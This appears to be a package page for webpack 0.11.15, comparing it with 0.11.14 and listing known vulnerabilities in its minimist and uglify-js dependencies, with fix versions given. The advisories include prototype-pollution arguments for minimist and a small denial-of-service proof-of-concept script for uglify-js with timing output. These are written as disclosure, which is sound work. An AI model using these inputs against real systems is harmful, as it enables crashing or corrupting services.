Webpack version 0.11.15 is a minor update to the popular module bundler, succeeding version 0.11.14. Both versions cater to developers seeking to streamline their JavaScript workflow by packing CommonJs, AMD, and labeled modules for browser deployment. They facilitate code splitting into multiple bundles, optimized for on-demand loading, and offer extensive loader support for preprocessing diverse file types such as JSON, Jade (now Pug), CoffeeScript, CSS, and Less, alongside custom loader implementations.
A key aspect for developers is the consistent core functionality offered in both versions. Dependencies remain identical, including crucial packages like async, clone, esprima, uglify-js, and enhanced-resolve, ensuring no breaking changes in fundamental features. The development dependencies, encompassing loaders for various file formats and testing frameworks like Mocha and Should, also remain unchanged.
The most noticeable difference lies in the release date. Version 0.11.15 was published on December 16, 2013, a day after version 0.11.14. Considering the minimal version bump, the update likely contains bug fixes, performance improvements, or very minor feature enhancements not warranting a more significant version change. Developers already using Webpack 0.11.14 should consider updating to 0.11.15 to benefit from these refinements, while new users can safely start with either version as the core feature set is equivalent.
All the vulnerabilities related to the version 0.11.15 of the package
Prototype Pollution in minimist
Affected versions of minimist
are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object
, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted
adds a y
property with value Polluted
to all objects. The argument --__proto__=Polluted
raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist
.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js
, function setKey()
(lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.